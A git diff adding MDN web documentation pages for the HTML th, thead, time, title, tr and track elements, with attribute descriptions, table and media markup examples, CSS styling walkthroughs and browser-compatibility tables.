This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. Values higher than 65534 are clipped down to 65534.

scope

This enumerated attribute defines the cells that the header (defined in the <th>) element relates to. It may have the following values:

  • +row: The header relates to all cells of the row it belongs to.
  • +col: The header relates to all cells of the column it belongs to.
  • +rowgroup: The header belongs to a rowgroup and relates to all of its cells.
  • +colgroup: The header belongs to a colgroup and relates to all of its cells.

If the scope attribute is not specified, or its value is not row, col, or rowgroup, or colgroup, then browsers automatically select the set of cells to which the header cell applies.

+
+

Deprecated attributes

+
+align +

This enumerated attribute specifies how the cell content's horizontal alignment will be handled. Possible values are:

  • +left: The content is aligned to the left of the cell.
  • +center: The content is centered in the cell.
  • +right: The content is aligned to the right of the cell.
  • +justify (with text only): The content is stretched out inside the cell so that it covers its entire width.
  • +char (with text only): The content is aligned to a character inside the <th> element with minimal offset. This character is defined by the char and charoff attributes.

The default value when this attribute is not specified is left.

Note: Do not use this attribute as it is obsolete in the latest standard.

  • To achieve the same effect as the left, center, right or justify values, apply the CSS text-align property to the element.
  • To achieve the same effect as the char value, give the text-align property the same value you would use for the char.
+axis +

This attribute contains a list of space-separated strings. Each string is the id of a group of cells that this header applies to.

Note: Do not use this attribute as it is obsolete in the latest standard: use the scope attribute instead.

+bgcolor +

This attribute defines the background color of each cell in a column. It consists of a 6-digit hexadecimal code as defined in sRGB and is prefixed by '#'.

+char +

The content in the cell element is aligned to a character. Typical values include a period (.) to align numbers or monetary values. If align is not set to char, this attribute is ignored.

Note: Do not use this attribute as it is obsolete in the latest standard. To achieve the same effect, you can specify the character as the first value of the text-align property.

+charoff +

This attribute is used to shift column data to the right of the character specified by the char attribute. Its value specifies the length of this shift.

Note: Do not use this attribute as it is obsolete in the latest standard.

+height +

This attribute is used to define a recommended cell height.

Note: Do not use this attribute as it is obsolete in the latest standard: use the CSS height property instead.

+valign +

This attribute specifies how a text is vertically aligned inside a cell. Possible values for this attribute are:

  • +baseline: Positions the text near the bottom of the cell and aligns it with the baseline of the characters instead of the bottom. If characters don't descend below the baseline, the baseline value achieves the same effect as bottom.
  • +bottom: Positions the text near the bottom of the cell.
  • +middle: Centers the text in the cell.
  • and top: Positions the text near the top of the cell.

Note: Do not use this attribute as it is obsolete in the latest standard: use the CSS vertical-align property instead.

+width +

This attribute is used to define a recommended cell width. Additional space can be added with the cellspacing and cellpadding properties and the width of the <col> element can also create extra width. But, if a column's width is too narrow to show a particular cell properly, it will be widened when displayed.

Note: Do not use this attribute as it is obsolete in the latest standard: use the CSS width property instead.

+

Examples

+

See <table> for examples on <th>.

+

Technical summary

+
Content categories None.
Permitted content Flow content, but with no header, footer, sectioning content, or heading content descendants.
Tag omission The start tag is mandatory.
The end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
Permitted parents A <tr> element.
Implicit ARIA role +columnheader or rowheader +
Permitted ARIA roles Any
DOM interface HTMLTableCellElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-th-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
th1121Yes≤12.114.4184≤12.111.0
abbr1121Yes1514.41841411.0
align1121Yes1534.41841421.0
axis1121Yes1514.41841411.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff1121Yes15≤44.418414≤3.21.0
colspan1121Yes1514.41841411.0
headers1121Yes1514.41841411.0
rowspan1121Yes1514.41841411.0
scope1121Yes1514.41841411.0
valign1121Yes1534.41841421.0
width1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th +

+
diff --git a/devdocs/html/element%2Fthead.html b/devdocs/html/element%2Fthead.html new file mode 100644 index 00000000..2c4ce7d3 --- /dev/null +++ b/devdocs/html/element%2Fthead.html @@ -0,0 +1,159 @@ +

<thead>: The Table Head element

The <thead> HTML element defines a set of rows defining the head of the columns of the table.

+

Try it

+
+

Attributes

+

This element includes the global attributes.

+

Deprecated attributes

+
+align +

This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:

  • +left, aligning the content to the left of the cell
  • +center, centering the content in the cell
  • +right, aligning the content to the right of the cell
  • +justify, inserting spaces into the textual content so that the content is justified in the cell
  • +char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes.

If this attribute is not set, the left value is assumed.

Warning: Do not use this attribute as it is obsolete (not supported) in the latest standard.

  • To align values, use the CSS text-align property instead.
+bgcolor +

This attribute defines the background color of each column cell. It accepts a 6-digit hexadecimal color or a named color. Alpha transparency is not supported.

Note: Do not use this attribute, as it is non-standard. The thead element should be styled using the CSS background-color property, which can be applied to any element, including the thead, <tr>, <td> and <th> elements.

+char +

This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored.

Note: Do not use this attribute as it is obsolete (and not supported) in the latest standard.

+charoff +

This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.

Note: Do not use this attribute as it is obsolete (and not supported) in the latest standard.

+valign +

This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:

  • +baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
  • +bottom, which will put the text as close to the bottom of the cell as it is possible;
  • +middle, which will center the text in the cell;
  • +top, which will put the text as close to the top of the cell as it is possible.

Note: Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS vertical-align property on it.

+

Examples

+

See <table> for examples on <thead>.

+

Technical summary

+
Content categories None.
Permitted content Zero or more <tr> elements.
Tag omission The start tag is mandatory. The end tag may be omitted if the <thead> element is immediately followed by a <tbody> or <tfoot> element.
Permitted parents A <table> element. The <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element.
Implicit ARIA role rowgroup
Permitted ARIA roles Any
DOM interface HTMLTableSectionElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-thead-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
thead1121Yes≤12.1
1Backgrounds applied to <thead> elements will be applied to each table cell, rather than the entire header. To mimic the behavior of other browsers, set the background-attachment CSS property to fixed.
4.4184≤12.1
1Backgrounds applied to <thead> elements will be applied to each table cell, rather than the entire header. To mimic the behavior of other browsers, set the background-attachment CSS property to fixed.
1.0
align1121Yes1534.41841421.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff1121Yes15≤44.418414≤3.21.0
valign1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/thead +

+
diff --git a/devdocs/html/element%2Ftime.html b/devdocs/html/element%2Ftime.html new file mode 100644 index 00000000..abf90bea --- /dev/null +++ b/devdocs/html/element%2Ftime.html @@ -0,0 +1,117 @@ +

<time>: The (Date) Time element

+

The <time> HTML element represents a specific period in time. It may include the datetime attribute to translate dates into machine-readable format, allowing for better search engine results or custom features such as reminders.

It may represent one of the following:

+
+

Try it

+
+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

datetime

This attribute indicates the time and/or date of the element and must be in one of the formats described below.

+
+

Usage notes

+
+

This element is for presenting dates and times in a machine-readable format. For example, this can help a user agent offer to add an event to a user's calendar.

This element should not be used for dates prior to the introduction of the Gregorian calendar (due to complications in calculating those dates).

The datetime value (the machine-readable value of the datetime) is the value of the element's datetime attribute, which must be in the proper format (see below). If the element does not have a datetime attribute, it must not have any element descendants, and the datetime value is the element's child text content.

+
+

Valid datetime values

+
a valid year string

2011

a valid month string

2011-11

a valid date string

2011-11-18

a valid yearless date string

11-18

a valid week string

2011-W47

a valid time string

14:54

14:54:39

14:54:39.929

a valid local date and time string

2011-11-18T14:54:39.929

2011-11-18 14:54:39.929

a valid global date and time string

2011-11-18T14:54:39.929Z

2011-11-18T14:54:39.929-0400

2011-11-18T14:54:39.929-04:00

2011-11-18 14:54:39.929Z

2011-11-18 14:54:39.929-0400

2011-11-18 14:54:39.929-04:00

a valid duration string

PT4H18M3S

+

Examples

+ +

Simple example

+
+

HTML

+

html

+
<p>The concert starts at <time datetime="2018-07-07T20:00:00">20:00</time>.</p>
+
+

Result

+
+ + +
+
+

+datetime example

+
+

HTML

+

html

+
<p>
+  The concert took place on <time datetime="2001-05-15T19:00">May 15</time>.
+</p>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role time
Permitted ARIA roles Any
DOM interface HTMLTimeElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-time-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
time62≤1822No4911.5–1276262224611.5–1248.0
datetime62≤1822No4911.5–1276262224611.5–1248.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/time +

+
diff --git a/devdocs/html/element%2Ftitle.html b/devdocs/html/element%2Ftitle.html new file mode 100644 index 00000000..76d7bf4c --- /dev/null +++ b/devdocs/html/element%2Ftitle.html @@ -0,0 +1,94 @@ +

<title>: The Document Title element

+

The <title> HTML element defines the document's title that is shown in a browser's title bar or a page's tab. It only contains text; tags within the element are ignored.

+

html

+
<title>Grandma's Heavy Metal Festival Journal</title>
+
+
Content categories +Metadata content.
Permitted content Text that is not inter-element whitespace.
Tag omission Both opening and closing tags are required. Note that leaving off </title> should cause the browser to ignore the rest of the page.
Permitted parents A <head> element that contains no other <title> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted.
DOM interface HTMLTitleElement
+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+

The <title> element is always used within a page's <head> block.

+

Page titles and SEO

+
+

The contents of a page title can have significant implications for search engine optimization (SEO). In general, a longer, descriptive title performs better than short or generic titles. The content of the title is one of the components used by search engine algorithms to decide the order in which to list pages in search results. Also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page.

A few guidelines and tips for composing good titles:

+
+

Examples

+
+
+

html

+
<title>Awesome interesting stuff</title>
+
+

This example establishes a page whose title (as displayed at the top of the window or in the window's tab) as "Awesome interesting stuff".

+
+

Accessibility concerns

+
+

It is important to provide an accurate and concise title to describe the page's purpose.

A common navigation technique for users of assistive technology is to read the page title and infer the content the page contains. This is because navigating into a page to determine its content can be a time-consuming and potentially confusing process. Titles should be unique to every page of a website, ideally surfacing the primary purpose of the page first, followed by the name of the website. Following this pattern will help ensure that the primary purpose of the page is announced by a screen reader first. This provides a far better experience than having to listen to the name of a website before the unique page title, for every page a user navigates to in the same website.

+
+

Examples

+
+
+

html

+
<title>Menu - Blue House Chinese Food - FoodYum: Online takeout today!</title>
+
+

If a form submission contains errors and the submission re-renders the current page, the title can be used to help make users aware of any errors with their submission. For instance, update the page title value to reflect significant page state changes (such as form validation problems).

+

html

+
<title>
+  2 errors - Your order - Sea Food Store - Food: Online takeout today!
+</title>
+
+

Note: Presently, dynamically updating a page's title will not be automatically announced by screen readers. If you are going to update the page title to reflect significant changes to a page's state, then the use of ARIA Live Regions may be necessary, as well.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-title-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
title112111514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/title +

+
diff --git a/devdocs/html/element%2Ftr.html b/devdocs/html/element%2Ftr.html new file mode 100644 index 00000000..b11d6657 --- /dev/null +++ b/devdocs/html/element%2Ftr.html @@ -0,0 +1,400 @@ +

<tr>: The Table Row element

The <tr> HTML element defines a row of cells in a table. The row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements.

+

Try it

+
+

To provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1. Similarly, you can use the rowspan attribute on cells to indicate they should span more than one table row.

This can take a little practice to get right when building your tables. We have some examples below, but for more examples and an in-depth tutorial, see the HTML tables series in our Learn web development area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatting for your tabular data.

+
+

Attributes

+

This element includes the global attributes. There are also several deprecated attributes, which you should avoid but may need to know when reading older code.

+

Deprecated attributes

+
+

The following attributes may still be implemented in browsers but are no longer part of the HTML specification and may be missing or may not work as expected. They should be avoided.

+align +

A string which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually. Possible values are:

left

Align the content of each cell at its left edge.

center

Center the contents of each cell between their left and right edges.

Align the content of each cell at its right edge.

justify

Widen whitespaces within the text of each cell so that the text fills the full width of each cell (full justification).

char

Align each cell in the row on a specific character (such that each row in the column that is configured this way will horizontally align its cells on that character). This uses the char and charoff to establish the alignment character (typically "." or "," when aligning numerical data) and the number of characters that should follow the alignment character. This alignment type was never widely supported.

If no value is expressly set for align, the parent node's value is inherited.

Note: Instead of using the obsolete align attribute, you should instead use the CSS text-align property to establish left, center, right, or justify alignment for the row's cells. To apply character-based alignment, set the CSS text-align property to the alignment character (such as "." or ",").

+bgcolor +

A string specifying a color to apply to the backgrounds of each of the row's cells. This can be either a hexadecimal #RRGGBB or #RGB value or a color keyword. Omitting the attribute or setting it to null in JavaScript causes the row's cells to inherit the row's parent element's background color.

Note: The <tr> element should be styled using CSS. To give a similar effect as the bgcolor attribute, use the CSS property background-color.

+char +

A string that sets the character to align the cells in each row's columns (each row's centering that uses the same character gets aligned with others using the same character. Typical values for this include a period (".") or comma (",") when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored.

Note: This attribute is obsolete and rarely implemented anyway. To achieve the same effect as the char attribute, set the CSS text-align property to the same string you would specify for the char property, such as text-align: ".".

+charoff +

A string indicating the number of characters on the tail end of the column's data should be displayed after the alignment character specified by the char attribute. For example, when displaying money values for currencies that use hundredths of a unit (such as the dollar, which is divided into 100 cents), you would typically specify a value of 2, so that in tandem with char being set to ".", the values in a column would be cleanly aligned on the decimal points, with the number of cents properly displayed to the right of the decimal point.

Note: This attribute is obsolete, and was never widely supported anyway.

+valign +

A string specifying the vertical alignment of the text within each cell in the row. Possible values for this attribute are:

baseline

Aligns each cell's content text as closely as possible to the bottom of the cell, handling alignment of different fonts and font sizes by aligning the characters along the baseline of the font(s) used in the row. If all the characters in the row are the same size, the effect is the same as bottom.

+bottom,

Draws the text in each of the row's cells as closely as possible to the bottom edge of those cells.

middle

Each cell's text is vertically centered.

top

Each cell's text is drawn as closely as possible to the top edge of the containing cell.

Note: Don't use the obsolete valign attribute. Instead, add the CSS vertical-align property to the row.

+
+

Examples

+

See <table> for examples on <tr>.

+

Basic example

+
+

This simple example shows a table listing people's names along with various information about membership in a club or service.

HTML

This HTML demonstrates the most basic structure of a table. There are no groups, no cells that span multiple rows or columns, no captions, and only the most basic styling to create lines around the components of the table for something resembling clarity.

There are just four rows (including one header row), each with four columns (including one header column). Not even the table section elements are used; instead, the browser is allowed to determine this automatically. We'll add <thead>, <tbody>, and <tfoot> in the next example.

+

html

+
<table>
+  <tr>
+    <th>Name</th>
+    <th>ID</th>
+    <th>Member Since</th>
+    <th>Balance</th>
+  </tr>
+  <tr>
+    <td>Margaret Nguyen</td>
+    <td>427311</td>
+    <td><time datetime="2010-06-03">June 3, 2010</time></td>
+    <td>0.00</td>
+  </tr>
+  <tr>
+    <td>Edvard Galinski</td>
+    <td>533175</td>
+    <td><time datetime="2011-01-13">January 13, 2011</time></td>
+    <td>37.00</td>
+  </tr>
+  <tr>
+    <td>Hoshi Nakamura</td>
+    <td>601942</td>
+    <td><time datetime="2012-07-23">July 23, 2012</time></td>
+    <td>15.00</td>
+  </tr>
+</table>
+
+

CSS

This simple CSS just adds a solid black border around the table and around each of its cells, including those specified using both <th> and <td>. That way, both header and data cells are easily demarcated.

+

css

+
table {
+  border: 1px solid black;
+}
+
+th,
+td {
+  border: 1px solid black;
+}
+
+

Result

+
+ + +
+
+

Row and column spanning

+
+

Now, let's introduce another column that shows the date the user's membership ended, along with a super-heading above the "joined" and "canceled" dates called "Membership Dates". This involves adding both row and column spans to the table, so that the heading cells can wind up in the right places.

Result

Let's actually look at the output first this time:

+
+ + +

Notice how the heading area here is actually two rows, one with "Name", "ID", "Membership Dates", and "Balance" headings, and the other with "Joined" and "Canceled", which are subheadings below "Membership Dates". This is accomplished by:

HTML

The HTML is similar to the previous example's, except for the addition of the new column in each data row, and the changes to the header. Those changes make the HTML look like this:

+

html

+
<table>
+  <tr>
+    <th rowspan="2">Name</th>
+    <th rowspan="2">ID</th>
+    <th colspan="2">Membership Dates</th>
+    <th rowspan="2">Balance</th>
+  </tr>
+  <tr>
+    <th>Joined</th>
+    <th>Canceled</th>
+  </tr>
+  <tr>
+    <th>Margaret Nguyen</th>
+    <td>427311</td>
+    <td><time datetime="2010-06-03">June 3, 2010</time></td>
+    <td>n/a</td>
+    <td>0.00</td>
+  </tr>
+  <tr>
+    <th>Edvard Galinski</th>
+    <td>533175</td>
+    <td><time datetime="2011-01-13">January 13, 2011</time></td>
+    <td><time datetime="2017-04-08">April 8, 2017</time></td>
+    <td>37.00</td>
+  </tr>
+  <tr>
+    <th>Hoshi Nakamura</th>
+    <td>601942</td>
+    <td><time datetime="2012-07-23">July 23, 2012</time></td>
+    <td>n/a</td>
+    <td>15.00</td>
+  </tr>
+</table>
+
+

The differences that matter here—for the purposes of discussing row and column spans—are in the first few lines of the code above. Note the use of rowspan on to make the "Name", "ID", and "Balance" headers occupy two rows instead of just one, and the use of colspan to make the "Membership Dates" header cell span across two columns.

The CSS is unchanged from before.

+
+

Explicitly specifying table content groups

+
+

Before really getting into styling this table, let's take a moment to add row and column groups to help make our CSS easier.

HTML

The HTML is where the action is here, and the action is pretty simple.

+

html

+
<table>
+  <thead>
+    <tr>
+      <th rowspan="2">Name</th>
+      <th rowspan="2">ID</th>
+      <th colspan="2">Membership Dates</th>
+      <th rowspan="2">Balance</th>
+    </tr>
+    <tr>
+      <th>Joined</th>
+      <th>Canceled</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Margaret Nguyen</th>
+      <td>427311</td>
+      <td><time datetime="2010-06-03">June 3, 2010</time></td>
+      <td>n/a</td>
+      <td>0.00</td>
+    </tr>
+    <tr>
+      <th scope="row">Edvard Galinski</th>
+      <td>533175</td>
+      <td><time datetime="2011-01-13">January 13, 2011</time></td>
+      <td><time datetime="2017-04-08">April 8, 2017</time></td>
+      <td>37.00</td>
+    </tr>
+    <tr>
+      <th scope="row">Hoshi Nakamura</th>
+      <td>601942</td>
+      <td><time datetime="2012-07-23">July 23, 2012</time></td>
+      <td>n/a</td>
+      <td>15.00</td>
+    </tr>
+  </tbody>
+</table>
+
+

The differences that matter here—for the purposes of discussing row and column spans—are in the first few lines of the code above. Note the use of rowspan on to make the "Name", "ID", and "Balance" headers occupy two rows instead of just one, and the use of colspan to make the "Membership Dates" header cell span across two columns.

Once again, we haven't touched the CSS.

Result

The output is entirely unchanged, despite the addition of useful contextual information under the hood:

+
+ + +
+
+

Basic styling

+
+

As is the case with all parts of a table, you can change the appearance of a table row and its contents using CSS. Any styles applied to the <tr> element will affect the cells within the row unless overridden by styles applied to those cells.

Let's apply a basic style to the table to adjust the typeface being used, and add a background color to the header row.

Result

Again, let's take a look at the result first.

+
+ + +

CSS

This time, the HTML is unchanged, so let's dive right into the CSS.

+

css

+
table {
+  border: 1px solid black;
+  font:
+    16px "Open Sans",
+    Helvetica,
+    Arial,
+    sans-serif;
+}
+
+thead > tr {
+  background-color: rgb(228, 240, 245);
+}
+
+th,
+td {
+  border: 1px solid black;
+  padding: 4px 6px;
+}
+
+

While we add a font property to the <table> element here to set a more visually-appealing typeface (or an abominable sans-serif typeface, depending on your personal opinion), the interesting part is the second style here, where we style <tr> elements located within the <thead> so they have a light blue background color. This is a way to quickly apply a background color to all the cells in the heading area at once.

This does not affect the style of the <th> elements in the first column, though, where we treat the member names as a row heading.

+
+

Advanced styling

+
+

Now we'll go all-out, with styles on rows in the header and body areas both, including alternating row colors, cells with different colors depending on position within a row, and so forth.

Result

Here's what the final table will look like:

+
+ + +

There is no change to the HTML again. See what proper preparation of your HTML can do for you?

CSS

The CSS is much more involved this time. It's not complicated, but there's a lot going on. Let's break it down.

The table and base styles
+

css

+
table {
+  border: 1px solid black;
+  font:
+    16px "Open Sans",
+    Helvetica,
+    Arial,
+    sans-serif;
+  border-spacing: 0;
+  border-collapse: collapse;
+}
+
+

Here we've added the border-spacing and border-collapse properties to eliminate spacing between cells and collapse borders that touch one another to be a single border instead of winding up with double borders.

+

css

+
th,
+td {
+  border: 1px solid black;
+  padding: 4px 6px;
+}
+
+th {
+  vertical-align: bottom;
+}
+
+

And here are the default styles for all table cells. Now let's customize!

The top header: overall

We're going to look at the top header in two pieces. First, the overall styling of the header:

+

css

+
thead > tr {
+  background-color: rgb(228, 240, 245);
+}
+
+thead > tr:nth-of-type(2) {
+  border-bottom: 2px solid black;
+}
+
+

This sets the background color of all <tr> elements in the table's heading (as specified using <thead>). Then we set the bottom border of the top header to be a two-pixel wide line. Notice, however, that we're using the :nth-of-type selector to apply border-bottom to the second row in the heading. Why? Because the heading is made of two rows that are spanned by some of the cells. That means there are actually two rows there; applying the style to the first row would not give us the expected result.

The "Joined" and "Canceled" headers

Let's style these two header cells with green and red hues to represent the "good" of a new member and the "bummer" of a canceled membership.

+

css

+
thead > tr:last-of-type > th:nth-of-type(1) {
+  background-color: rgb(225, 255, 225);
+}
+
+thead > tr:last-of-type > th:nth-of-type(2) {
+  background-color: rgb(255, 225, 225);
+}
+
+

Here we dig into the last row of the table's header block and give the first header cell in it (the "Joined" header) a greenish color, and the second header cell in it (the "Canceled" header) a reddish hue.

Color every body other row differently

It's common to help improve readability of table data by alternating row colors. Let's add a bit of color to every even row:

+

css

+
tbody > tr:nth-of-type(even) {
+  background-color: rgb(237, 238, 242);
+}
+
+
Give the left-side header some style

Since we want the first column to stand out as well, we'll add some custom styling here, too.

+

css

+
tbody > tr > th:first-of-type {
+  text-align: left;
+  background-color: rgb(225, 229, 244);
+}
+
+

This styles the first header cell in each row of the table's body with text-align to left-justify the member names, and with a somewhat different background color.

Justify the balances

Finally, since it's standard practice to right-justify currency values in tables, let's do that here.

+

css

+
tbody > tr > td:last-of-type {
+  text-align: right;
+}
+
+

This just sets the CSS text-align property for the last <td> in each body row to "right".

+
+

Technical summary

+
Content categories None
Permitted content Zero or more <td> and/or <th> elements; script-supporting elements (<script> and <template>) are also allowed
Tag omission Start tag is mandatory. End tag may be omitted if the <tr> element is immediately followed by a <tr> element, or if the row is the last element in its parent table group (<thead>, <tbody> or <tfoot>) element
Permitted parents <table> (only if the table has no child <tbody> element, and even then only after any <caption>, <colgroup>, and <thead> elements); otherwise, the parent must be <thead>, <tbody> or <tfoot>
Implicit ARIA role row
Permitted ARIA roles Any
DOM interface HTMLTableRowElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-tr-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tr1121Yes≤12.114.4184≤12.111.0
align1121Yes1534.41841421.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff112NoYes15≤44.418No14≤3.21.0
valign112NoYes1534.418No1421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tr +

+
diff --git a/devdocs/html/element%2Ftrack.html b/devdocs/html/element%2Ftrack.html new file mode 100644 index 00000000..4063ab96 --- /dev/null +++ b/devdocs/html/element%2Ftrack.html @@ -0,0 +1,182 @@ +

<track>: The Embed Text Track element

The <track> HTML element is used as a child of the media elements, <audio> and <video>. It lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles. The tracks are formatted in WebVTT format (.vtt files) — Web Video Text Tracks.

+

Try it

+
+
Content categories None
Permitted content None; it is a void element.
Tag omission As it is a void element, the start tag must be present and the end tag must not be present.
Permitted parents

A media element, <audio> or <video>.

Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLTrackElement
+
+

Attributes

+
+

This element includes the global attributes.

default

This attribute indicates that the track should be enabled unless the user's preferences indicate that another track is more appropriate. This may only be used on one track element per media element.

kind

How the text track is meant to be used. If omitted the default kind is subtitles. If the attribute contains an invalid value, it will use metadata (Versions of Chrome earlier than 52 treated an invalid value as subtitles). The following keywords are allowed:

  • +subtitles
    • Subtitles provide translation of content that cannot be understood by the viewer. For example speech or text that is not English in an English language film.
    • Subtitles may contain additional content, usually extra background information. For example the text at the beginning of the Star Wars films, or the date, time, and location of a scene.
  • +captions
    • Closed captions provide a transcription and possibly a translation of audio.
    • It may include important non-verbal information such as music cues or sound effects. It may indicate the cue's source (e.g. music, text, character).
    • Suitable for users who are deaf or when the sound is muted.
  • +descriptions
    • Textual description of the video content.
    • Suitable for users who are blind or where the video cannot be seen.
  • +chapters
    • Chapter titles are intended to be used when the user is navigating the media resource.
  • +metadata
    • Tracks used by scripts. Not visible to the user.
label

A user-readable title of the text track which is used by the browser when listing available text tracks.

src

Address of the track (.vtt file). Must be a valid URL. This attribute must be specified and its URL value must have the same origin as the document — unless the <audio> or <video> parent element of the track element has a crossorigin attribute.

srclang

Language of the track text data. It must be a valid BCP 47 language tag. If the kind attribute is set to subtitles, then srclang must be defined.

+
+

Usage notes

+ +

Track data types

+
+

The type of data that track adds to the media is set in the kind attribute, which can take values of subtitles, captions, descriptions, chapters or metadata. The element points to a source file containing timed text that the browser exposes when the user requests additional data.

A media element cannot have more than one track with the same kind, srclang, and label.

+
+

Detecting cue changes

+
+

The underlying TextTrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed. This happens even if the track isn't associated with a media element.

If the track is associated with a media element, using the <track> element as a child of the <audio> or <video> element, the cuechange event is also sent to the HTMLTrackElement.

+

js

+
let textTrackElem = document.getElementById("texttrack");
+
+textTrackElem.addEventListener("cuechange", (event) => {
+  let cues = event.target.track.activeCues;
+});
+
+
+
+

Examples

+
+

html

+
<video controls poster="/images/sample.gif">
+  <source src="sample.mp4" type="video/mp4" />
+  <source src="sample.ogv" type="video/ogv" />
+  <track kind="captions" src="sampleCaptions.vtt" srclang="en" />
+  <track kind="descriptions" src="sampleDescriptions.vtt" srclang="en" />
+  <track kind="chapters" src="sampleChapters.vtt" srclang="en" />
+  <track kind="subtitles" src="sampleSubtitles_de.vtt" srclang="de" />
+  <track kind="subtitles" src="sampleSubtitles_en.vtt" srclang="en" />
+  <track kind="subtitles" src="sampleSubtitles_ja.vtt" srclang="ja" />
+  <track kind="subtitles" src="sampleSubtitles_oz.vtt" srclang="oz" />
+  <track kind="metadata" src="keyStage1.vtt" srclang="en" label="Key Stage 1" />
+  <track kind="metadata" src="keyStage2.vtt" srclang="en" label="Key Stage 2" />
+  <track kind="metadata" src="keyStage3.vtt" srclang="en" label="Key Stage 3" />
+  <!-- Fallback -->
+  …
+</video>
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-track-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
